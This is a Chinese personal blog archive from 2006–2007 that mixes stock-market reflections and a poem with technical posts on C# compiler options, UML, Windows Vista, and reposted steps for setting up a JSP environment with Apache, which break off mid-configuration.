  买进好的公司,等它成为伟大中国的基石。这是对自己一辈子负责任的态度,也是报国的种方式。

  另附诗一首,希望大家明白牛市的调整,明白调整的方式。等待。用能复制的赚钱方式,面对未来。

  相信未来

  当蜘蛛网无情地查封了我的炉台

  当灰烬的余烟叹息着贫困的悲哀

  我依然固执地铺平失望的灰烬

  用美丽的雪花写下:相信未来

  当我的紫葡萄化为深秋的露水

  当我的鲜花依偎在别人的情怀

  我依然固执地用凝霜的枯藤

  在凄凉的大地上写下:相信未来

  我要用手指那涌向天边的排浪

  我要用手掌那托住太阳的大海

  摇曳着曙光那枝温暖漂亮的笔杆

  用孩子的笔体写下:相信未来

  我之所以坚定地相信未来

  是我相信未来人们的眼睛

  她有拨开历史风尘的睫毛

  她有看透岁月篇章的瞳孔

  不管人们对于我们腐烂的皮肉

  那些迷途的惆怅、失败的苦痛

  是寄予感动的热泪、深切的同情

  还是给以轻蔑的微笑、辛辣的嘲讽

  我坚信人们对于我们的脊骨

  那无数次的探索、迷途、失败和成功

  一定会给予热情、客观、公正的评定

  是的,我焦急地等待着他们的评定

  朋友,坚定地相信未来吧

  相信不屈不挠的努力

  相信战胜死亡的年轻

  相信未来、热爱生命

  判断准确一两次大盘短期的涨跌,最终成为大富翁的,想来没有几个。

  试图依靠预测短期大盘走势,并试图从中赚取大钱的,最后大多以大失败告终。

  在目前的股市,对大盘的判断,基本上成为猜测管理层脸色的游戏。

  最典型的是,一旦管理层放行10只基金发行,股指又会健步如飞。

  你能预测准什么时候放行吗?

  连索罗斯、巴菲特、利文摩尔都未能成功逃顶,你能行吗?

  对大资金来说,即使是一个40亿的基金,他的逃顶也不过是从持仓9成变成持仓5成。

  投资最根本的还是在于巨人为伍。而不是判断大盘。如果是趋势投机者,做短线只不过术,只不过是为了提高自己的短期收益。

  刘元生在万科上赚了约16亿,这可能是中国个人投资者的最高境界。尽管大盘17年严寒有过太多风雨。

  在市场的赚大钱的主要流派,简单分有几下几种。

  一是巴菲特的价值投资。长线持股,不试图逃脱短期的波动。当然,在大萧条来临前,一定要走。但是,至少普通的二三年熊市不用逃。虽然巴老对近几年美国股市并不乐观,手上现金越来越多,这并不阻碍他继续赚钱。

  巴的赚钱方式,说白了是用尽量少的钱,去赚取尽量多的钱,赌的是时间。

  二是索罗斯的短线投机。在牛熊转换时最为激烈,赚钱自然最丰。索不仅是想逃顶,还要做多空转换时赚钱,这是针尖上的芭蕾。有几个人能玩?

  但是,在1987年对日本股市的做空,在1998年对香港股市的做空,在1999年做空网络股,结果都证明是错的。

  尽管是错的,索罗斯并未倒下,原因是他在损失出现重大错误时,在最快的三分钟内平仓,比别人先一步止损。

  索罗斯的策略是用尽可能多的钱,赚取尽可能多的利润。赌的是时点。

  三是时而价值时而投机者。

  在价值股走强时赚取最大的利润,在投机盛行时也能赚大钱。基金经理通常是这样做的。但是,通常会因为踩错了节奏,而左右被人刮耳光。

  基金经理玩的是选美游戏,赌的是对流行时尚的把握。

  我们思考机构的布局,更多的是为了判断主力的动向。大盘可能涨,也可能跌,因为现在是政策市,索罗斯所说的测不准,在现在最为管用。

  什么叫不确定性,最大的不确定在于游戏规则的变化。对手在根据你的牌改变规则。这就是现在的市场。如果你是试图从短期趋势中赚钱,你必须时刻看盘。因为你不知道什么时候,规则会有利于多方。什么时候,会突然有昨于空方。

  当一个市场游戏规则随时可能改变时,试图再预测,到底有多难,你看一下信真期货的操盘成绩就知道了。

  判断一个市场的均值,并不需要多少智慧。系统的统计数据会给你答案。

  判断一个市场是否有泡沫,只需要市场常识。

  但是,判断泡沫何时破灭,以哪种方式泡沫,破灭的主体是谁,泡沫破灭的受益者是谁?

  这才是最要关键的。

  而更为关键的是,判断错误时,你的撤退路线是什么?你的降落伞在哪?

  沪深指数30倍就要变成牛转熊吗?大熊市已来了吗?大熊市会是一年,二年,还是像日本一样的17年?有答案吗?

  在很多股票跌幅四五成时,用大熊市来恐吓小股民,让他们割肉离场?真的有道理吗?

  以前支持大牛市的大背景——人民币升值、经济持续增长、外贸顺差、劳动生产力提升、央企整合、资产注入、各级国资部门用市值考核上市公司……全部都没有了吗?

  是绩差股高估,还是所有股票都高估?

  逃脱者可获生存,并不是告诉大家全部斩仓离场。而是如何从被动的局面出走出来。

  赢利成为一种能力,而不是运气。

  至尊宝跑到悬崖边,放一只鞋子在那里,在人前假装跳崖,不想脚一滑演变成了真跳万丈悬崖。

  与此同时,三个官兵正要对三个强盗行刑,官兵举刀说:早知道不要当强盗。强盗菩提说:早知道也当兵。话音一落,跳崖的至尊宝从天而降,正好砸在三个官兵身上,三个官兵的刀捅进了自己的身体,他们临死前说:早知道不当兵。

  人生时常就象这个情节,没有前一步的“早知道”,只有下下步的“不可知”。

  股市亦如是。昨天还是最恐慌的发行特别国债,现在,财政部和解释是,财政发债购汇仅相当于用特别国债替换部分央行票据,并没有发生本质的变化。不是针对股票市场的紧缩措施,不直接影响证券市场中的存量资金。

  这是政策的原定方案,还是测试市场反映后的修改方案,可能只有决定者知道。

  现在,大盘的风险是一切都不可测,个股的风险,可测度要低很多。对一些仍可能有外延式增长,或者基本面拐点的股票,只会买贵,不会买错。

  2000年以后,美国有一批股票在网络股泡沫破灭后蒸发。这种厄运会不会是在2007年至2008年到来,还是二年,还是五年后,相信没有人有答案。

  但是,至少二三年内,中国经济还没有到大萧条的程度,毕竟,咱们的人民币还没有自由兑换。

  怯怯地揣测一下政策调控股市的意图和效果——

  遏制股市过度投机,管理层一再提到的标准为两个:

  一是成交量过大,个股换手率太高。可是,昨日两市成交才1100多亿,回到了今年初的水平。

  二、绩差股市盈率太高,投机过度。可是,虽说部分绩差股市盈率仍不低。可是,毕竟人家股价都腰斩了。就算是割肉,也得歇一段时间再割吧。真的要逼庄家逼到没有任何退路吗?不符合一贯的监管风格。

  如果这两个标准都暂时到位了,是不是让股市走自己的路?该疯狂的继续疯狂,该沉沦的继续沉沦?

  至少,政策面释放暖意。好比财政部大张旗鼓地澄清,是不是第一招?
1:23 | 添加评论 | 固定链接 | 写入日志2007/3/22
天下有情人终成眷属
这个是感叹句,也是个陈述句,我还希望他是一个祈使句。

总之,我不希望它只是一句祝福,我希望他能穿越世界的极限,成为一种永恒的定律。

让我们抛弃一切世俗,偏见,嫉妒,欺骗,变得简单,善良,热情,伟岸,不在自私,无聊,变态,冒险,能够真诚,幸福的彼此拥有。

只要你心理还在想某人,这句话就属于你,属于每个人。

 
23:59 | 添加评论 | 固定链接 | 写入日志2007/3/13
csc.exe参数祥解
C#编辑器csc.exe参数祥解

CSC.exe把Visual C#程序代码编译成IL文件时,有着很多参数和开关选项。正确的了解和运用这些参数和开关有时会解决一些看似很棘手的问题。下面就通过一张表来大致说明一下这些参数和开关的具体作用。这些参数和开关选项是按照字母顺序来排列的。其中带"*",是一些常用的参数或开关。

选项 用途
@ * 指定响应文件。
/?, /help 在控制台的计算机屏幕上显示编译器的选项
/addmodule 指定一个或多个模块为集会的一部分
/baseaddress指定装入DLL的基础地址
/bugreport 创建一个文件,该文件包含是报告错误更加容易的信息
/checked 如果整数计算溢出数据类型的边界,则在运行时产生一个例外的事件
/codepage 指定代码页以便在编译中使用的所有源代码文件
/debug * 发送调试信息
/define 定义预处理的程序符号
/doc * 把处理的文档注释为XML文件
/fullpaths 指定编译输出文件的反正路径
/incremental 对源代码的文件进行增量编译
/linkresource 把.NET资源链接到集合中
/main 指定Main方法的位置
/nologo 禁止使用编译器的标志信息
/nooutput 编译文件但不输出文件
/nostdlib 不导出标准库(即mscorlib.dll)
/nowarn 编译但编译器并不显示警告功能
/optimize 打开或者关闭优化
/out * 指定输出文件
/recurse 搜索编译源文件的子目录
/reference * 从包含集合的文件中导入元数据
/target * 指定输出文件的格式
/unsafe 编译使用非安全关键字的代码
/warn 设置警告级别
/warnaserror 提升警告为错误
/win32icon 插入一个.ico文件导输出文件中去
/win32res 插入一个Win32资源导输出文件中
  具体说明:
  一.@
  这个选项是用来指定响应文件。响应文件是一种包含了许多编译选项的文件。这些编译选项将和源代码文件一起由编译器进行处理。一般来说此种响应文件是以文本文件形式出现。他的扩展名是.rsp。在响应文件中是用#符号表示开始的注释。
  例:以下是一个响应文件resp1.rsp的内容:
  # 这是一个简单的响应文件,文件名称为resp1.rsp
  #使用方法: csc @resp1.rsp
/target:exe /out:sample.exe sample.cs
  此响应文件的作用就是把sample.cs文件编译成sample.exe文件。如果在一次编译中要指定多个响应文件,可以指定多个响应文件选项,如:
@file1.rsp @file2.rsp
  二./?和/help
  这个选项应该不必多说,那些用过DOS程序的人,大概都会用这个选项。
  三./addmodule
  本选项是使编译器搜集从用户正在编译的工程到可用文件中所以类型的信息。所有添加了/addmodule的模块在运行时必须与输出文件在同一目录中。这就是说,用户可以在编译时指定任何目录中的模块,但在运行时这个模块必须在应用程序目录中。文件中不能包含汇编名单。例如:如果输出文件用/taarget:module创建,其元数据可以用/addmodule导入。
  例子:把二个模块加入myProject.cs中
csc /addmodule:module1.dll;module2.dll myProject.cs
  四./baseaddress
  本选项允许用户指定载入DLL时的首选地址,这个首选地址可以是十进制、十六进制、八进制。DLL的缺省首选地址在.Net运行时设置。如果目标文件不是DLL文件,这个选项将被忽略。
  例子:把myLibrary.cs 编译程DLL文件,并且当此DLL在.Net运行环境被载入时的地址是0x1111000
csc /baseaddres:0x1111000 /target:library myLibrary.cs
  五./bugreport
  这个选项用来报告编译时的错误信息。在报告中包含以下内容:
  1).编译中所有源代码的一个拷贝
  2).在编译中所有的编译选项
  3).编译信息,包括编译器、运行时间、操作系统的版本信息
  4).编译器输出
  5).问题的描述
  6).如何解决问题的描述
  例子:生成一个bugs.txt文件,并把错误报告放在文件里面
csc /bugreport:bugs.txt Hello.cs
  六./checked
  此选项指定不在检验或或者未检验关键字范围内以及导致超出数据类型范围的值的整数计算语句是否产生运行例外。具体的说就是,如果不在检验或者未检验关键字范围内的整数计算语句产生的值在数据类型允许的范围之外,并且在编译中使用了/checked+(/checked),该语句就会在运行时产生例外,如果在编译时使用了/checked-,在运行时该语句就不会产生例外。
  例子:编译myMath.cs,并且指定一个不在检验或者未检验关键字范围内的整数计算语句(且其产生的值超出数据类型的范围),将在运行时引起例外。
csc /checked+ myMath.cs
  七./codepage
  如果用户编译的一个或者多个源代码不使用计算机上的默认代码页,可以使用/codepage选项来指定希望使用的代码页。/codepage适用于编译中所有的源代码文件。
  如果源代码文件在计算机上的同一个代码页位置创建,或者源代码文件用UNICODE或者UTF-8来创建,用户就不需要使用/codepage了。
  八./debug
  此选项是在调试时候使用的,当调试者启用了这个选项来调试自己的程序,将会创建一个.pdb文件,并把各种调试信息写到此文件里。有2中选项来指定调试的类型:
  /debug [+/-] :当选用/debug +就会把创建.pdb文件,并把调试信息存储到里面;/debug -是一个缺省设置,就是不产生任何调试信息。
  /debug:[full/pdbonly] :当使用/debug:full就是创建缺省的调试信息,有点类似/debug+选项。/debug: pdbonly选项是创建.pdb文件,并且你只能使用源代码调试在调试工具里。
  例子:编译Hello.cs并且为Hello.cs创建调试信息
   csc /debug+ HelloWorld.cs
  九./define
  此选项在程序中定义了一个符号,他和在源程序中使用#define预处理程序指示功能相同,此符号保持已定义状态,直到源文件中的#undef指示符删除定义或者编译器已到达了文件末尾。你可以用/d简写来代替。
  例子:下面是my.cs的源程序
using System;
public class myBuild{
public static void Main() {
#if (final)
Console.WriteLine("Final Build");
#else
Console.WriteLine("Trial Build");
#endif
}
}
  如果用csc /define:final my.cs来编译就会显示"Final Build",如果没有/define,编译后执行就会显示"Trial Build"。
  十./doc
  文档在当今已经变得愈来愈重要了,一个好的程序应该配有相当的文档。如果你在写程序的文档中用的是"///"标识符来注释。当你使用/doc选项来编译时,你的所以注释文档将会自动的保留在一个XML文件中。
  例子:以下是my.cs 的源程序
using System ;
///
/// This is a sample class that has some documentation
///
public class myDocument {
///
/// Main entry point of the class
///
public static void Main (string[] argv)
{
Console.WriteLine("A Sample Class") ;
}
}
  用下列编译语句会产生my.xml文件,看看my.xml文件到底存储了什么东西。
Csc /doc:my.xml my.cs
  十一./fullpaths
  在默认情况下,编译产生的错误或者警告都只会指明发现错误的文件名称,加入此选项使得在编译器产生错误或者警告的时候会显示完整的路径。你可以把上面的my.cs程序语法搞错,再用 csc /fullpaths my.cs 和 csc my.cs分别编译,看看错误提示有什么不同。
  十二./incremental
  本选项主要是激活增量编译器,这种编译器只对上次编译后发生改变的函数进行编译。如果在编译时候选用了/debug选项,调试信息的状态存储在相应的.pdb文件中。除此编译时的信息都存储在.incr文件中,此.incr文件的名称为output_file_name.extension.incr。即如果输出文件时out.exe,则此文件对应的incr文件是out.exe.incr文件。
  例子:利用增量编译器来编译文件
csc /incremental /out:my.exe my.cs
  如果编译成功则会产生2个文件,分别是:my.exe和my.exe.incr。
  十三./linkresource
  这个选项就是在输出文件中创建到.Net资源的链接。他的简写是/linkres。资源文件就是在那些在工程文件中使用到的所有的资源,像图片、声音等。这个选项只是对于资源文件建立链接,这样有助于管理使用同一资源的程序,而不需要多个副本。此选项的具体语法如下:
/linkresource:filename,identifier,mimetype
  其中:
  filename:是想建立链接的.Net的资源文件
  identifier(可选):资源的逻辑名称,该名称用于载入资源,默认名称是文件名称。
  mimetype(可选):是一个代表资源的媒介类型的字符串。默认为空。
  例子:在文件中建立一个指向reso.resource的链接
csc /linkres:reso.resource myResource.cs
  十四./main
  当我们编译二个或者多个拥有Main方法的Class,我们可以使用这个选项让用户指定最终的输出文件中的使用那个Main的方法。
  例子:编译二个文件,但输出文件中的Main方法来自Main1 Class
csc myMain1.cs myMain2.cs /main:Main1
  十五./nologo
  这个选项禁止在编译器启动时显示开始标志和编译过程中显示报告信息。
  例子:
csc /nologo my.cs
  十六./nooutput
  编译文件,但不创建任何输出文件。用户可以看到任何编译错误和警告。
  例子:
csc /nooutput my.cs
  十七./nostdlib
  这个选项禁止导入mscorlib.dll。这个DLL包含了这个系统名称空间。当用户希望使用自己的系统名称空间时,一般才会使用此选项。
  例子:编译文件,但不导入mscorlib.dl
csc /nooutput myOutput.cs
  十八./nowarn
  本选项是在编译过程中禁止指定的警告类型。如果是禁止多个警告类型,用逗号分隔。
例子:在编译过程中禁止警告类型CS0108和CS0109
csc /nowarn:108,109 Warn.cs
  十九./optimize
  本选项激活或者禁用由编译器执行优化。优化的结果是使得输出文件更小、更快、更有效率。缺省是/optimize执行优化,如果你选用了/optimize-则禁止优化。/o是/optimize的简写。
  例子:编译文件,并禁止优化
csc /optimise- my.cs
  二十./out
  在没有指定输出文件的情况下,如果通过编译器编译后文件是EXE文件,则输出文件将从包含Main方法的源代码的文件中获得名字;如果编译后的文件是DLL文件,将从第一个源代码文件中获得名字。如果用户想要指定输出文件名称,就可以使用此选项。
  例子:编译HelloWord.cs文件,并把输出文件命名为Hello.exe
csc /out:Hello.exe helloworld.cs
  二十一./recurse
  此选项允许用户编译在指定目录或者工程目录的所以子目录中的所有源代码文件。用户可以使用通配符来编译工程目录下的所有匹配文件。
  例子:编译/dir1/dir2目录下及其下级目录中的所有C#文件,并生成dir2.dll
csc /target:library /out:dir2.dll /recurse: dir1/dir2/*.cs
  二十二./refrence
  此选项可使得当前编译工程使用指定文件中的公共类型信息。这个选项对于初学者是很重要的。此选项的简写是/r。你必须引用在程序代码中使用"using"关键字导入的所有文件,如果在你的程序中,使用了自己编写的类库,在编译时也必须引用。
  例子:编译文件,并引用在程序中使用的文件
csc /r:system.dll;myExec.exe;myLibrary.dll myProject.cs
  (注:其中那个myExec.exe和myLibrary.dll时自己创建的)
  二十三./target
  这个选项是告诉编译器你所想得到什么类型的输出文件。除非使用/target:module选项,其他选项创建的输出文件都包含着汇编名单。汇编名单存储着编译中所有文件的信息。在一个命令行中如果生成多个输出文件,但只创建一个汇编名单,并存储在第一个输出文件中。
  下面是/target的4种用法:
  /target:exe 创建一个可执行(EXE)的控制台应用程序
  /target:library 创建一个代码库(DLL)
  /target:winexe 创建一个windows程序(EXE)
  /target:module 创建一个模块(DLL)
  例子:
  csc /target:exe myProj.cs // 创建一个EXE文件
  csc /target:winexe myProject.cs file://创建一个windows程序
  csc /target:library myProject.cs file://创建一个代码库
  csc /target:module myProject.cs file://创建一个模块
  二十四./resource
  此选项和/linkresource正好相反。他的作用是把.Net资源文件嵌入到输出文件中,参数、用法都和/linkresource也相同,具体可参考前面/linkresource选项。
  二十五./unsafe
  此选项是告诉编译器采用非安全模式编译文件
  例子:用非安全模式编译my.cs
csc /unsafe my.cs
  二十六./warn
  使用本选项是在编译过程中采用什么等级的警告级别
警告级别 含义
0 关闭所有警告
1 只显示严重警告
2 级别为1的警告和某些不严重的警告
3 级别为2的警告和某些不算非常严重的警告
4 级 别为3的警告和信息警告
  例子:编译文件,不显示任何错误
csc /warn:0 my.cs
  二十七./warnaserror
  告诉编译器把在编译中把所有的警告当成错误来处理。/warnaserror-是缺省选项,在该选项下编译中的警告不影响文件的输出。/warnaserror和/warnaserror+是一样的。
  例子:编译文件,并在编译中把警告当成错误
csc /warnaserror myj.cs
  二十八./win32icon
  在输出文件中插入一个图标文件(.ico)。从而在Windows中的资源管理器中就看到以此图标标识的文件了。
  例子:
csc /win32icon:myicon.ico my.cs
  二十九./win32res
  在输出文件中添加一个win32的资源文件。此资源文件包括用户应用程序的版本信息或者位图(图标)信息。如果用户不指定/win32res,编译器将根据汇编版本生成版本信息。
  例子:添加一个win32资源文件到输出文件中
csc /win32res:winrf.res mt.cs
  以上就是Csc.exe在编译C#文件中的全部选项。
0:20 | 添加评论 | 固定链接 | 写入日志2007/2/14
UML和UML开发工具
UML的开发工具不少,网上比较认可的是IBM的ROSE(http://board.verycd/t317558.html),开始学习使用,正好有个小的项目要做,就从这开始了。
 
统一建模语言UML

软件工程领域在1995年至1997年取得了前所未有的进展,其成果超过软件工程领域过去15年来的成就总和。其中最重要的、具有划时代重大意义的成果之一就是统一建模语言(UML:Unified Modeling Language)的出现。

在世界范围内,至少在近10年内,UML将是面向对象技术领域内占主导地位的标准建模语言。采用UML作为我国统一的建模语言是完全必要的:首先,过去数十种面向对象的建模语言都是相互独立的,而UML可以消除一些潜在的不必要的差异,以免用户混淆;其次,通过统一语义和符号表示,能够稳定我国的面向对象技术市场,使项目根植于一个成熟的标准建模语言,从而可以大大拓宽所研制与开发的软件系统的适用范围,并大大提高其灵活程度。

统一建模语言(UML)是用来对软件密集系统进行描述、构造、视化和文档编制的一种语言。

首先,也是最重要的一点,统一建模语言融合了Booch、OMT和OOSE方法中的概念,它是可以被上述及其他方法的使用者广泛采用的一门简单、一致、通用的建模语言。

其次,统一建模语言扩展了现有方法的应用范围。特别值得一提的是,UML的开发者们把并行分布式系统的建模作为UML的设计目标,也就是说,UML具有处理这类问题的能力。

第三,统一建模语言是标准的建模语言,而不是一个标准的开发流程。虽然UML的应用必然以系统的开发流程为背景,但根据我们的经验,不同的组织,不同的应用领域需要不同的开发过程。举个例子来说,开发错综复杂的软件是非常有趣的工作,但开发这种软件与构造严格实时的航空电子系统是大不一样的,后者是性命攸关的大事。因此我们首先把精力集中在设计通用的元模型上(统一不同方法的语义),其次是建立通用的表示法(提供对这些语义的形象化的表达)。虽然UML的开发者们将继续倡导从用例驱动到体系结构为中心最后反复改进、不断添加的软件开发过程,但实际上设计标准的开发流程并不是非常必要的。

UML是一种定义良好、易于表达、功能强大且普遍适用的建模语言。它溶入了软件工程领域的新思想、新方法和新技术。它的作用域不限于支持面向对象的分析与设计,还支持从需求分析开始的软件开发的全过程。

面向对象技术和UML的发展过程可用上图来表示,标准建模语言的出现是其重要成果。在美国,截止1996年10月,UML获得了工业界、科技界和应用界的广泛支持,已有700多个公司表示支持采用UML作为建模语言。1996年底,UML已稳占面向对象技术市场的85%,成为可视化建模语言事实上的工业标准。1997年11月17日,OMG采纳UML 1.1作为基于面向对象技术的标准建模语言。UML代表了面向对象方法的软件开发技术的发展方向,具有巨大的市场前景,也具有重大的经济价值和国防价值。

标准建模语言UML的内容

首先,UML融合了Booch、OMT和OOSE方法中的基本概念,而且这些基本概念与其他面向对象技术中的基本概念大多相同,因而,UML必然成为这些方法以及其他方法的使用者乐于采用的一种简单一致的建模语言;其次,UML不仅仅是上述方法的简单汇合,而是在这些方法的基础上广泛征求意见,集众家之长,几经修改而完成的,UML扩展了现有方法的应用范围;第三,UML是标准的建模语言,而不是标准的开发过程。尽管UML的应用必然以系统的开发过程为背景,但由于不同的组织和不同的应用领域,需要采取不同的开发过程。

作为一种建模语言,UML的定义包括UML语义和UML表示法两个部分。

(1) UML语义 描述基于UML的精确元模型定义。元模型为UML的所有元素在语法和语义上提供了简单、一致、通用的定义性说明,使开发者能在语义上取得一致,消除了因人而异的最佳表达方法所造成的影响。此外UML还支持对元模型的扩展定义。

(2) UML表示法 定义UML符号的表示法,为开发者或开发工具使用这些图形符号和文本语法为系统建模提供了标准。这些图形符号和文字所表达的是应用级的模型,在语义上它是UML元模型的实例。

标准建模语言UML的重要内容可以由下列五类图(共9种图形)来定义:

·第一类是用例图,从用户角度描述系统功能,并指出各功能的操作者。

·第二类是静态图(Static diagram),包括类图、对象图和包图。其中类图描述系统中类的静态结构。不仅定义系统中的类,表示类之间的联系如关联、依赖、聚合等,也包括类的内部结构(类的属性和操作)。类图描述的是一种静态关系,在系统的整个生命周期都是有效的。对象图是类图的实例,几乎使用与类图完全相同的标识。他们的不同点在于对象图显示类的多个对象实例,而不是实际的类。一个对象图是类图的一个实例。由于对象存在生命周期,因此对象图只能在系统某一时间段存在。包由包或类组成,表示包与包之间的关系。包图用于描述系统的分层结构。

·第三类是行为图(Behavior diagram),描述系统的动态模型和组成对象间的交互关系。其中状态图描述类的对象所有可能的状态以及事件发生时状态的转移条件。通常,状态图是对类图的补充。在实用上并不需要为所有的类画状态图,仅为那些有多个状态其行为受外界环境的影响并且发生改变的类画状态图。而活动图描述满足用例要求所要进行的活动以及活动间的约束关系,有利于识别并行活动。

·第四类是交互图(Interactive diagram),描述对象间的交互关系。其中顺序图显示对象之间的动态合作关系,它强调对象之间消息发送的顺序,同时显示对象之间的交互;合作图描述对象间的协作关系,合作图跟顺序图相似,显示对象间的动态合作关系。除显示信息交换外,合作图还显示对象以及它们之间的关系。如果强调时间和顺序,则使用顺序图;如果强调上下级关系,则选择合作图。这两种图合称为交互图。

·第五类是实现图( Implementation diagram )。其中构件图描述代码部件的物理结构及各部件之间的依赖关系。一个部件可能是一个资源代码部件、一个二进制部件或一个可执行部件。它包含逻辑类或实现类的有关信息。部件图有助于分析和理解部件之间的相互影响程度。

配置图定义系统中软硬件的物理体系结构。它可以显示实际的计算机和设备(用节点表示)以及它们之间的连接关系,也可显示连接的类型及部件之间的依赖性。在节点内部,放置可执行部件和对象以显示节点跟可执行软件单元的对应关系。

从应用的角度看,当采用面向对象技术设计系统时,首先是描述需求;其次根据需求建立系统的静态模型,以构造系统的结构;第三步是描述系统的行为。其中在第一步与第二步中所建立的模型都是静态的,包括用例图、类图(包含包)、对象图、组件图和配置图等五个图形,是标准建模语言UML的静态建模机制。其中第三步中所建立的模型或者可以执行,或者表示执行时的时序状态或交互关系。它包括状态图、活动图、顺序图和合作图等四个图形,是标准建模语言UML的动态建模机制。因此,标准建模语言UML的主要内容也可以归纳为静态建模机制和动态建模机制两大类。12:46 | 添加评论 | 固定链接 | 写入日志2007/1/11
深度剖析:为什么Windows会统治世界
从2007年一月开始,用户所购买的Windows个人电脑都将预装一个新版操作系统:Windows Vista。

毫无疑问,这是一款比当前普遍使用的Windows XP更加漂亮的操作系统。较之前者,Windows Vista更加快速、简单和易于使用,并且更加稳定和安全。在Vista诸多优点中,最吸引人的就是它更加直观的文件存储、组织和定位的方式。

此外还有一个更加出色的父母控制,一个内建的DVD烧制软件以及许多其他改进之处。在界面上,Vista非常类似于最新版本的Mac操作系统:Tiger版本的OS X。然而,在Apple在明年春天发布其Leopard版本的OS X的时候,可能对其系统界面作出修改。

  现在,对于大多数Windows用户来说,最大的问题就是时间。如果他们不准备购买一台新的Windows电脑,那么他们是否应该购买一份Vista来升级电脑呢?如果你正在使用Windows XP SP2之前的任何版本Windows的话,那么这个答案就是:是!

但是,如果你希望用微软每周发布的安全升级和补丁来保持系统健康的话,那么明智的选择就是先等一等。不管微软公司对它的测试有多么彻底,第一版本的Vista仍然有可能是一个漏洞百出的操作系统。毕竟,金无足赤,人无完人。

  许多人说,Vista的问题出在它的庞大和复杂。据称,Vista由多达5千万行代码所组成。曾经有一名资深的程序员告诉我一个开发中不成文的“定律”:每一百行中代码中通常存在五至十个错误。因此,就算这些错误中的90%在扩展测试程序中被排除了,那么Vista在正式发布之时仍然会存在至少二十五万个BUG!

  微软的批评者们说,看,这就是你花钱买的垃圾软件!但是请他们等一等,不要妄加评判。Vista拥有50个独立活动层的复杂架构,按照现今的标准,它并不是一个巨型的程序。那些过早地将微软评定为一个“制造垃圾软件的工厂”的人们,也许应该自我反省一下。

  在这场操作系统信徒的战争中,最差劲的战士就出现在Macintosh和Linux阵营中。Macintosh OS X操作系统包含不超过八百六十万行的代码,而Linux内核可能也仅有九百万行代码,就算是Linux的一个重要发行版,如Debian 3.1,大约只有两千一百三十万行代码。

  一边是Linux和OS X,另一边是Windows,它们两个阵营最大的区别就在于,前者高度模块化。Linux和OS X是由数百个小型的独立程序,叫做包,所组成,而不是单独的一个大块软件。Linux和OS X都是从多任务操作系统之祖的Unix所继承,并且具有相同的底层结构。

  Linux的模块化使熟练的用户可以去除任何他们所不需要的模块,从而创建一个迎合特定需要的强健且简洁的操作系统。Linux甚至可以裁减到从一张软盘上运行,或者扩充到管理一个服务器,甚至是一台超级计算机。在桌面环境,Linux提供了比Windows更好的安全性和更少的崩溃。

安装任何流行的Linux桌面发行版,如Ubuntu、OpenSUSE或者Fedora就是一件十几分钟的小事。但是和Windows不同,下载应用程序在Linux上运行,确保所有必需的“库”都已经就绪,这些对于新手来说却非易事。

  通过简化用户的使用,微软赢取了用户的芳心。也许,这样一个简化的过程在设计时非常复杂,但是它却充满了BUG,同时,它也是如此的易于使用和维护。微软的这一案例已经成为许多成功类书籍的典型案例,而这,也就是为什么Windows会统治这个世界。
13:38 | 添加评论 | 固定链接 | 写入日志2006/11/29
jsp环境的配置太繁杂
今天想安装JSP的环境来做开发,可一研究发现,jsp的环境配置太过复杂,而且网上的配置方法也很多,真的是眼花缭乱,有点不知道该如何下手,收集了四篇写的比较详细的文章,作为配置JSP的参考应该够了。
 
按《Tomcat+JSP经典配置实例》中的说明,进行配置开发jsp程序应该足够了,可要是用来做服务器,看来还不够,毕竟服务器对性能的要求不是开发那么简单,网上最推崇的是Apache+Tomcat,关于它的配置、负载平衡又是一个需要仔细研究的问题。
 
一步一步来。10:33 | 添加评论 | 固定链接 | 写入日志Windows下Apache的JSP环境安装
以下的内容均是转贴来的,并没有实践过,部分图片说明已删去,改为文字说明。
 
 
  以下的配置操作都在win2000系统下进行,当然它也适用于winxp。配置JSP的运行环境并不需要什么高性能硬件支持,关键是安装一些必须的软件或插件,然后对这些软件或插件的文件配置过程。
  
第一步:网上搜索获取为建立JSP环境所需要的文件
  
  1、 apache_2.0.46-win32-X86-no_src.msi
  下载地址:http://archive.apache/dist/httpd/binaries/win32/apache_2.0.46-win32-x86-no_src.msi
  
  或下载Apache V2.0.54 For Windows
  下载地址:http://softdown.it168/1003/IT168-16584apache_2.0.54-win32-x86-no_ssl.msi
  
  2、 j2sdk-1_4_1_02_windows_i586.exe
  下载地址:http://java.sun/j2se/downloads.html
  
  3、 resin_2.1.9.zip
  下载地址:http://www.caucho/download/resin-2.1.9.zip

  第二步:首先双击运行j2sdk-1_4_1_02-windows-i586.exe文件,安装JSDK。 

  我们这里假设安装目录为D:/jsdk,其他都使用默认,

第三步:配置JSDK。
  
  安装完JSDK后,对其配置下面的内容:
  
  首先在系统变量中找到ClassPath并加入下面内容(如果你找不到ClassPath,就新建一个):
  D:/jsdk/LIB/dt.JAR;D:/jsdk/LIB/TOOLS.JAR;D:/jsdk/BIN;.;
  接着再在系统变量中找到Path并加入下面内容:
  D:/jsdk/;D:/jsdk/bin;

  【提示】ClassPath最后的".;"表示当前目录,而不是多了一个点和分号。如果大家实际的jsdk安装路径与本文不一致,请改成你的安装路径即可,最后再重启电脑使配置生效。
  
第四步:调试JSDK配置环境。
  
  经过第三步的配置后应该就可以正确运行java程序了。我们可以在JSDK所在磁盘分区的的根目录下新建一个文本文件,输入下面代码验证:
  
  public class hello{
  public static void main(String arg[]){
  System.out.print("Hi! JAVA!");
  }
  }
  
  注意一定要将此java文件命名为hello.java,而且要区分大小写!接下来在MS-DOS方式下进入D盘根目录,输入以下命令:
  
  javac hello.java 回车
  
  如果正常的话,是没有任何内容显示的,但会在同一目录下编译成一个hello.class的文件,接下来再输入以下命令:
  
  java hello 回车
  
  如果也正常的话,应该会显示"Hi! JAVA!",这代表你的java环境OK了,才可进行下一步。

第五步:运行apache_2.0.46-win32-x86-no_src.msi安装Apache。
  
  保持默认选项连按3个"next"后,出现的界面中,按下面的设置即可:
     Networ Domain:127.0.0.1
     Server Name:127.0.0.1
   选择:only for the Current User,on Port 8080,when stared Manually.

第六步:完成Apache安装。
  
  在上一步设置完成后再连按2个“next”后出现选择安装目录的界面,这里要把目录改成D:(在上面选择D盘即可,不需要输入目录名,安装程序会自动生成一个"Apache2"目录),其他的就按"next"或finish就行了。这样Apache也安装完毕了,Apache会在安装后自动启动一个Monitor程序在任务栏的右下角,但此时Apache的服务并未启动,因为我们还没将Apache安装成服务。

第七步:配置Apache。
  
  1、 进入Apache所在目录,找到打开Apache2/conf/httpd.conf文件,查找以下内容:
  
  # If your host doesn't have a registered DNS name, enter its IP address here.
  # You will have to access it by its address anyway, and this will make
  # redirections work in a sensible way.
  #
  ServerName 127.0.0.1:8080
  
